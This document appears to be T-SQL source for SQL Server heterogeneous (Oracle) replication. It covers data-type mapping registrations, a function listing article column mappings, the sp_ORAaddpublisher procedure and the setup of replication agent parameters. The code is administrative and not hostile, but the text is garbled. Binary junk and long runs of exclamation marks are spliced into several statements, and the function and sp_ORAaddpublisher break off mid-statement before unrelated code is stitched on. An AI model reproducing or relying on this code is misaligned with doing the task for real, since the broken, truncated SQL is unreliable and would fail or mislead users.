											
	-- smalldatetime
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smalldatetime',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smalldatetime',
											@destination_nullable	= 1,
											@is_default				= 1

	-- smallint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smallint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smallint',
											@destination_nullable	= 1,
											@is_default				= 1

	-- smallmoney
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smallmoney',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smallmoney',
											@destination_nullable	= 1,
											@is_default				= 1
    -- sql_variant
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sql_variant',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
											@is_default				= 1

	-- sysname
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sysname',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length     = 128,
											@destination_nullable	= 1,
											@is_default				= 1

	-- text
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'text',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
											@is_default				= 1

/*
	-- time
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'time',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'time',
											@destination_nullable	= 1,
											@is_default				= 1

*/
	-- time
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'time',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length		= 16,
											@destination_nullable	= 1,
	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<G#5qRQ)										@is_default				= 1

	-- timestamp
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'timestamp',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varbinary',
											@destination_length     = 8,
											@destination_nullable	= 1,
											@is_default				= 1

	-- tinyint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'tinyint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'tinyint',
											@destination_nullable	= 1,
											@is_default				= 1

	-- uniqueidentifier
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'uniqueidentifier',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'char',
											@destination_length     = 38,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varbinary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary',
											@source_length_min      = 1,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varbinary',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar',
											@source_length_min      = 1,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- xml
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'xml',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
											@is_default				= 1

	-- varbinary(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
											@is_default				= 1

	-- varchar(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
											@is_default				= 1

	-- nvarchar(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
											@is_default				= 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C6}vA
CREATE FUNCTION sys.fn_ORAenumarticlecolumninfo
(
    @publisher_id      int,
    @table_id          int,
    @article_id        int,  
    @publisher_dbms    sysname,
    @publisher_version sysname,
    @defaults          bit
)
RETURNS @colinfo TABLE
(
    column_name     sysname,
    column_ordinal  int,
    source_info     sysname,
    dest_datatype   sysname,
    dest_length     bigint,
    dest_precision  bigint,
    dest_scale      int,
    dest_nullable   bit,
    is_pkcol        bit,
    is_defined      bit,
    is_published    bit,
    is_valid        bit,
    dataloss        bit,
    mapping_id      int
)
AS
BEGIN

    IF (@defaults = 0)
    BEGIN
    	INSERT INTO @colinfo
    	SELECT	case when ihc.name is not null then ihc.name else ihpc.name end as [column_name],
    		case when ihc.name is not null then ihc.column_ordinal else ihpc.column_ordinal end as [column_ordinal],
		sys.fn_ORAsourceinfo(ihpc.type, ihpc.length, ihpc.prec, ihpc.scale, ihpc.isnullable) collate database_default as [source_info],
    		hdm.destination_type as [dest_datatype],
    		case hdm.destination_length
    				when -1 then ihpc.length
    				else hdm.destination_length
    			end as [dest_length],
    		case hdm.destination_precision
    				when -1 then
    					case 
    						when ihpc.scale > ihpc.prec then ihpc.scale
    						else ihpc.prec
    					end 
    				else hdm.destination_precision
    			end as [dest_precision],
    		case hdm.destination_scale
    				when -1 then ihpc.scale
    				else hdm.destination_scale
    			end as [dest_scale],
    		case
                    when hdm.destination_nullable = 0 then CONVERT(BIT, 0)
                    else ihpc.isnullable
                end as [dest_nullable],
  		sys.fn_IHiscolpk(ihc.publishercolumn_id) as [is_pkcol],
    		CASE WHEN
     	  		ihc.name is NOT NULL
    	  		AND   ihc.mapped_type	= st.user_type_id
     	  		--AND   hdm.destination_type collate database_default LIKE st.name + '%'
     	  		AND   hdm.destination_type collate database_default = st.name
          		AND
                		ISNULL(case ihc.mapped_length when 0 then NULL else ihc.mapped_length end, -1) =
                		ISNULL
                		(
                    		case hdm.destination_length
                        		when -1 then ihpc.length
                        		else hdm.destination_length
                    		end, -1
                		)
          		AND
                		ISNULL(case ihc.mapped_prec	when 0 then NULL else ihc.mapped_prec end, -1) =
                		ISNULL
                		(
                    		case hdm.destination_precision
                        		when -1 then
                            		case
                                		when ihpc.scale > ihpc.prec then ihpc.scale
                                		else ihpc.prec
                            		end 
                        		else hdm.destination_precision
                    		end, -1
                		)
          		AND
                		ISNULL(ihc.mapped_scale, -1) =
                		ISNULL
                		(
                    		case
                        		when hdm.destination_scale = -1 and ihpc.scale > 0 then ihpc.scale
                        		when hdm.destination_scale = -1 and ihpc.scale = 0 then NULL
                        		else hdm.destination_scale
                    		end, -1
                		)
    	  		AND   (hdm.source_nullable = 1 OR hdm.source_nullable = hdm.destination_nullable)
          		THEN 1 ELSE 0 END as [is_defined],
		case WHEN ihc.name IS NULL THEN 0 ELSE 1 END as [is_published],
     		CONVERT(BIT, 1) as [is_valid],
    		hdm.dataloss as [dataloss],
    		hdm.mapping_id as [mapping_id]
    	FROM	IHpublishercolumns ihpc WITH ( INDEX ( idx_IHpublishercolumns_tableid ) )
    		LEFT OUTER JOIN IHcolumns ihc WITH ( INDEX ( idx_IHcolumns_pubcolumnid ) ) ON (ihpc.publishercolumn_id = ihc.publishercolumn_id)
		LEFT OUTER JOIN master.sys.types st ON (ihc.mapped_type = st.user_type_id)
   		LEFT OUTER JOIN sys.fn_helpdatatypemap
    		(
    			@publisher_dbms,
    			@publisher_version,
    			'%',
    			'MSSQLSERVER',
    			NULL,
    			'%',
    			0
    		) hdm ON (ihpc.type = hdm.source_type collate database_default)
     	WHERE	ihpc.table_id		= @table_id
    	  AND	ihpc.publisher_id	= @publisher_id
    	  AND	(ihc.article_id		= @article_id OR ihc.article_id IS NULL)
    	  AND	(
    				(hdm.source_length_min is null and hdm.source_length_max is null and ihpc.length is null) or
    				(hdm.source_length_min is not null and
    				 hdm.source_length_max is not null and
    				 ihpc.length between hdm.source_length_min and hdm.source_length_max
    				)
    			)
    	  AND	(
    				(hdm.source_precision_min is null and hdm.source_precision_max is null and ihpc.prec is null) or
    				(hdm.source_precision_min is not null and
    				 hdm.source_precision_max is not null and
    				 ihpc.prec between hdm.source_precision_min and hdm.source_precision_max
    				)
    			)
    	  AND	(
    				(hdm.source_scale_min is null and hdm.source_scale_max is null and ihpc.scale is null) or
    				(hdm.source_scale_min is not null and
    				 hdm.source_scale_max is not null and
    				 ihpc.scale between hdm.source_scale_min and hdm.source_scale_max
    				)
    			)
	  OPTION (LOOP JOIN, FORCE ORDER)
    END
    ELSE
    -- Default mappings only
    BEGIN
    	INSERT INTO @colinfo
        SELECT	ihpc.name as [column_name],
    		ihpc.column_ordinal as [column_ordinal],
    		sys.fn_ORAsourceinfo(ihpc.type, ihpc.length, ihpc.prec, ihpc.scale, ihpc.isnullable) as [source_info],
    		hdm.destination_type as [dest_datatype],
    		case hdm.destination_length
    			when -1 then ihpc.length
    			else hdm.destination_length
    		end as [dest_length],
    		case hdm.destination_precision
    			when -1 then
    				case
    					when ihpc.scale > ihpc.prec then ihpc.scale
    					else ihpc.prec
    				end
    			else hdm.destination_precision
    		end as [dest_precision],
    		case hdm.destination_scale
    			when -1 then ihpc.scale
    			else hdm.destination_scale
    		end as [dest_scale],
                case
                    when hdm.destination_nullable = 0 then CONVERT(BIT, 0)
                    else ihpc.isnullable
                end as [dest_nullable],
    			sys.fn_IHiscolpk(ihpc.publishercolumn_id) as [is_pkcol],
    			CONVERT(BIT, 0) as [is_defined],
    			CONVERT(BIT, 0) as [is_published],
    			CONVERT(BIT, 1) as [is_valid],
    			hdm.dataloss as [dataloss],
    			hdm.mapping_id as [mapping_id]
     	FROM	IHpublishercolumns ihpc WITH ( INDEX ( idx_IHpublishercolumns_tableid ) ),
    		sys.fn_helpdatatypemap
    		(
    			@publisher_dbms,
    			@publisher_version,
    			'%',
    			'MSSQLSERVER',
    			NULL,
    			'%',
    			1
    		) hdm
    	WHERE	ihpc.table_id		= @table_id
    	  AND	ihpc.publisher_id	= @publisher_id
    	  AND	ihpc.type		= hdm.source_type collate database_default 
    	  AND	(
    				(hdm.source_length_min is null and hdm.source_length_max is null and ihpc.length is null) or
    				(hdm.source_length_min is not null and
    				 hdm.source_length_max is not null and
    				 ihpc.length between hdm.source_length_min and hdm.source_length_max
    				)
    			)
    	  AND	(
    				(hdm.source_precision_min is null and hdm.source_precision_max is null and ihpc.prec is null) or
    				(hdm.source_precision_min is not null and
    				 hdm.source_precision_max is not null and
    				 ihpc.prec between hdm.source_precision_min and hdm.source_precision_max
    				)
    			)
    	  AND	(
    				(hdm.source_scale_min is null and hdm.source_scale_max is null and ihpc.scale is null) or
    				(hdm.source_scale_min is not null and
    				 hdm.source_scale_max is not null and
    				 ihpc.scale!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6tOvx
--
-- Name:
--		sp_ORAaddpublisher
--
-- Description:
--		Adds Oracle publisher info on Oracle instance
--
-- Inputs:
--		@publisher			== publisher name (TNS name)
--		@dist_db			== distribution database
--		@remotelogin		== Oracle login to server as schema owner
--		@remotepassword		== Oracle password
--		@distributortimestamp		== publisher timestamp
--		@publisher_guid			== publisher guid
--
-- Returns:
--		Result set
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		This stored procedure checks first to see if the Oracle instance is already publishing to
--		SQL Server.  If not, it (re)creates the tables HREPL_Distributor and HREPL_Publisher, and
--		the public synonym MSSQLServerDistributor, and populates the table with the name of the
--		SQL Server instance that will serve as the Distributor for the Oracle publisher, the name
--		that the publisher is known as, at the Distributor, and the name of the distribution
--		database that will serve as the store and forward database for the publisher. 
--

CREATE PROCEDURE sys.sp_ORAaddpublisher
(
	@publisher			sysname,
	@dist_db			sysname,
	@security_mode		int = 1,
	@remotelogin		sysname,
	@remotepassword		sysname,
	@connect_timeout	int = 60,
	@distributortimestamp	datetime,
	@publisher_guid		uniqueidentifier
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE	@ChkTblCmd		nvarchar(4000)
	DECLARE @TblChk			int
	DECLARE @publisherGUID	varchar(255)
	DECLARE @distributor	sysname
	DECLARE @srvid			smallint
	DECLARE @retcode		int
	DECLARE @SynonymOwner	sysname
	DECLARE @QuotedLogin	sysname

	SET @QuotedLogin = @remotelogin
	IF NOT ((SUBSTRING(@remotelogin, 1, 1) = N'"') AND (SUBSTRING(@remotelogin, LEN(@remotelogin), 1) = N'"'))
	BEGIN
		SET @QuotedLogin = QUOTENAME(@QuotedLogin, '"')
	END

	-- Define remote query support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define temp table for getting synonymn owner
	CREATE TABLE #synonymOwner (owner varchar(255))
	
	-- If the public synonym exists, error indicating that this Oracle database is
	-- already a SQL publisher
	INSERT INTO #hquery(cmd) VALUES('SELECT TABLE_OWNER ')
	INSERT INTO #hquery(cmd) VALUES('FROM SYS.ALL_SYNONYMS ')
	INSERT INTO #hquery(cmd) VALUES('WHERE OWNER=''PUBLIC'' AND SYNONYM_NAME=''MSSQLSERVERDISTRIBUTOR''')
	
	EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
											@SelectColumnList	= N'TABLE_OWNER',
											@InsTable			= N'#synonymOwner',
											@InsColumnList		= N'owner'

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		RETURN (1)
	END

	-- Get owner name
	SELECT	@SynonymOwner = owner
	FROM	#synonymOwner

	-- Verify publish if synonym exists
	IF (@SynonymOwner IS NOT NULL)
	BEGIN
		-- Oracle server already published.  Get info on who is publishing it
		DECLARE @info_dist_publisher	sysname
		DECLARE @info_dist_distributor	sysname
		DECLARE @info_dist_db			sysname

		CREATE TABLE #DistInfo
		(
			dist_publisher		nvarchar(128),
			dist_distributor	nvarchar(128),
			dist_db				nvarchar(128)
		)

		-- Define object check table
		create table #objectCheck (obj sysname)

		-- Verify metadata exists
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery(cmd) VALUES ('SELECT TABLE_NAME FROM ALL_TABLES ')
		INSERT INTO #hquery(cmd) VALUES ('WHERE OWNER = ' + QUOTENAME(@SynonymOwner, '''') + ' ')
		INSERT INTO #hquery(cmd) VALUES ('AND TABLE_NAME = ''HREPL_DISTRIBUTOR''')

		EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
												@SelectColumnList	= N'TABLE_NAME',
												@InsTable			= N'#objectCheck',
												@InsColumnList		= N'obj'

		IF (@retcode != 0) OR (@@ERROR != 0)
		BEGIN
			RETURN (1)
		END

		IF EXISTS (SELECT obj FROM #objectCheck)
		BEGIN
			TRUNCATE TABLE #hquery
			INSERT INTO #hquery(cmd) VALUES ('SELECT DISTRIBUTOR_PUBLISHERNAME, DISTRIBUTOR_DISTRIBUTORNAME, DISTRIBUTOR_DISTRIBUTIONDB ')
			INSERT INTO #hquery(cmd) VALUES ('FROM ' + QUOTENAME(@SynonymOwner, '"') + '.HREPL_DISTRIBUTOR')

			EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
													@SelectColumnList	= N'DISTRIBUTOR_PUBLISHERNAME,DISTRIBUTOR_DISTRIBUTORNAME,DISTRIBUTOR_DISTRIBUTIONDB',
													@InsTable			= N'#DistInfo',
													@InsColumnList		= N'dist_publisher,dist_distributor,dist_db'

			IF (@retcode != 0) OR (@@ERROR != 0)
			BEGIN
				RETURN (1)
			END
			
			SELECT	@info_dist_publisher	= dist_publisher,
					@info_dist_distributor	= dist_distributor,
					@info_dist_db			= dist_db
			FROM	#DistInfo

			DROP TABLE #DistInfo
		END
		
		-- If this machine is the same as the distributor named and the publisher is the same,
		-- implicitly drop and re-add
		IF (@info_dist_distributor = CONVERT(sysname, ServerProperty('ServerName')) AND
			@info_dist_publisher = @publisher) OR
			NOT EXISTS (SELECT * FROM #objectCheck)
		BEGIN
			EXEC @retcode = sys.sp_ORAdroppublisher	@publisher
		END
		ELSE
		BEGIN
			RAISERROR (21646, 16, -1, @publisher, @info_dist_publisher, @info_dist_distributor, @info_dist_db, 'MSSQLSERVERDISTRIBUTOR')
			RETURN (1)
		END
		
		DROP TABLE #objectCheck
	END

	DROP TABLE #synonymOwner

	-- Check to make certain that the Oracle administrator login has sufficient privilege
	exec @retcode = sys.sp_ORACheckAdminPrivileges @publisher = @publisher
	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RETURN (1)
	END	

	-- Install HREPL support and initialize on destination server
	EXEC @retcode = sys.sp_ORAloadscript	@publisher		= @publisher,
											@script			= N'instorcltables',
											@security_mode	= @security_mode,
											@login			= @remotelogin,
											@password		= @remotepassword

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RAISERROR (21647, 16, -1)
		RETURN (1)
	END
	
	-- Install HREPL support and initialize on destination server
	EXEC @retcode = sys.sp_ORAloadscript	@publisher		= @publisher,
											@script			= N'instorcl',
											@security_mode	= @security_mode,
											@login			= @remotelogin,
											@password		= @remotepassword

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RAISERROR (21647, 16, -1)
		RETURN (1)
	END
	
	-- Drop any residual article tracking tables or triggers
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.INITPUBLISHER}')
	
	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21651, 16, -1, 'INITPUBLISHER', @publisher)
       	RETURN (1)
	END

	SET @publisherGUID = CONVERT(varchar(255), @publisher_guid)

	-- Get connect information for publisher
	SET @distributor = @@SERVERNAME

	-- Obtain the id of the publisher
	SELECT	@srvid = srvid from master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default

	-- Create public synonym for distributor table
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery (cmd) VALUES (N'CREATE PUBLIC SYNONYM MSSQLSERVERDISTRIBUTOR FOR HREPL_Distributor')
	
	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21621, 16, -1, 'MSSQLSERVERDISTRIBUTOR')
       	RETURN (1)
	END
	
	-- Grant select privilege to public on public synonym
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery (cmd) VALUES (N'GRANT SELECT ON HREPL_DISTRIBUTOR TO PUBLIC')
	
	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21622, 16, -1, 'MSSQLSERVERDISTRIBUTOR')
       	RETURN (1)
	END
	
	-- Create public synonym for SetSQLOriginator
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery (cmd) VALUES (N'CREATE PUBLIC SYNONYM MSSQLSERVERSETSQLORIGINATOR FOR ')
	INSERT INTO #hquery (cmd) VALUES (@QuotedLogin)
	INSERT INTO #hquery (cmd) VALUES (N'.HREPL')

	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(X7O9vScreate procedure sys.sp_createagentparameterlist
as
begin
    set nocount on
    declare  @snapshot_type      int
                ,@logreader_type     int
                ,@distribution_type  int
                ,@merge_type         int
                ,@qreader_type       int
                ,@retcode int

    -- check if table msdb.dbo.MSagentparameterlist exists, if so
    -- drop and recreate it
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSagentparameterlist'
        and type = 'U')
    begin
        DROP TABLE msdb.dbo.MSagentparameterlist
        if @@error<> 0 
        begin
            --Could not drop the table
            RAISERROR (21499, 16, -1, 'sys.sp_createagentparameterlist', 'drop', 'msdb.dbo.MSagentparameterlist', @@error)
            return 1
        end
    end
    
    create table msdb.dbo.MSagentparameterlist
    (
        agent_type tinyint NOT NULL, -- 1=Snapshot,2=Logreader,3=Distribution,4=Merge,9=Qreader
        parameter_name sysname NOT NULL,
        default_value nvarchar(4000) null, -- NULL=no default
        min_value int null, -- NULL=no lower bound
        max_value int null -- NULL=no upper bound
        CONSTRAINT pk_MSagentparameterlist PRIMARY KEY (agent_type, parameter_name)
    )

    if @@error<> 0 
    begin
        --Could not create/recreate the table
        RAISERROR (21499, 16, -1, 'sys.sp_createagentparameterlist', 'create', 'msdb.dbo.MSagentparameterlist', @@error)
        return 1
    end
    
    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSagentparameterlist' 
    if @@error<> 0 
    begin
        --Could not mark table as system
        RAISERROR (21755, 16, -1, 'dbo.MSagentparameterlist') 
        return 1
    end
    
    ----------------------------------------------------------------------------
    -- add all the parameters by calling sp_createagentparameter for each ----

    --initialize the constants
    select @snapshot_type = 1
            ,@logreader_type = 2
            ,@distribution_type = 3
            ,@merge_type = 4
            ,@qreader_type = 9

    -- add params for snapshot
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'BcpBatchSize', 100000, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'HistoryVerboseLevel', 2, 0, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'LoginTimeout', 15, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'MaxBcpThreads',	1, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'QueryTimeout', 1800, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'StartQueueTimeout', 0, 0, 300
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'MaxNetworkOptimization', 1, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'70Subscribers', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'Output', NULL, NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'OutputVerboseLevel', 1, 0, 2
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'PacketSize', 8192, 512, 32767
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'UsePerArticleContentsView', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @snapshot_type, N'PublisherFailoverPartner', null, null, null
    if @retcode=1 goto CLEANUP
    -- add params for logreader
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'HistoryVerboseLevel', 1, 0, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'LoginTimeout', 15, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'PollingInterval', 5, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'QueryTimeout', 1800, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'ReadBatchSize', 500, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'MessageInterval', 3600, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'Output', NULL, NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'OutputVerboseLevel', 0, 0, 2
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'PacketSize', 4096, 0, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'ReadBatchThreshold', 0, 0, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'LogScanThreshold', 500000, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @logreader_type, N'PublisherFailoverPartner', null, null, null
    if @retcode=1 goto CLEANUP
    -- add params for distribution
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'BcpBatchSize', 0, 0, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'CommitBatchSize', 100, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'CommitBatchThreshold', 1000, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'HistoryVerboseLevel', 2, 0, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'LoginTimeout', 15, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'MaxBcpThreads', 1, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'MaxDeliveredTransactions', 0, 0, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'PollingInterval', 5, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'QueryTimeout', 1800, 0, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'TransactionsPerHistory', 100, 0, 10000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'SkipErrors', '', NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type,  N'KeepAliveMessageInterval', 300, 30, NULL
    if @retcode=1 goto CLEANUP
    --exec @retcode = sys.sp_createagentparameter @distribution_type, N'UseInprocLoader', 0, 0, 1
    --if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'Output', NULL, NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'OutputVerboseLevel', 0, 0, 2
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'FileTransferType', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'MessageInterval', 3600, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'PacketSize', 4096, 0, NULL
    if @retcode=1 goto CLEANUP
